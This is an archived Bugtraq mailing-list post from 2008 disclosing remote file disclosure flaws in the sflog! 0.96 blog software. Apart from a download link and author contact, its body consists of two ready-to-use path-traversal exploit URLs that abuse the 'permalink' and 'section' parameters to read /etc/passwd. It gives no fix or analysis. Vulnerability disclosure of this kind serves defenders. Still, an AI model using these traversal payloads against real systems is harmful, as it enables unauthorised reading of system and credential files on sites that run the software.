[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    sflog! 0.96 remote file disclosure vulnerabilities
From:       "muuratsalo experimental hack lab" <muuratsalo () gmail ! com>
Date:       2008-01-31 15:50:46
Message-ID: ee625c3a0801310750x2425397dpb9c4cb024910552f () mail ! gmail ! com
[Download RAW message or body]

sflog! 0.96 remote file disclosure vulnerabilities

download   http://sourceforge.net/projects/sflog/

author     muuratsalo
contact   muuratsalo[at]gmail.com

exploits
http://localhost/sflog/?blog=test&permalink=../../../../../../../../../../etc/passwd
http://localhost/sflog/index.php?blog=test&section=../../../../../../../../../../etc/passwd
[prev in list] [next in list] [prev in thread] [next in thread]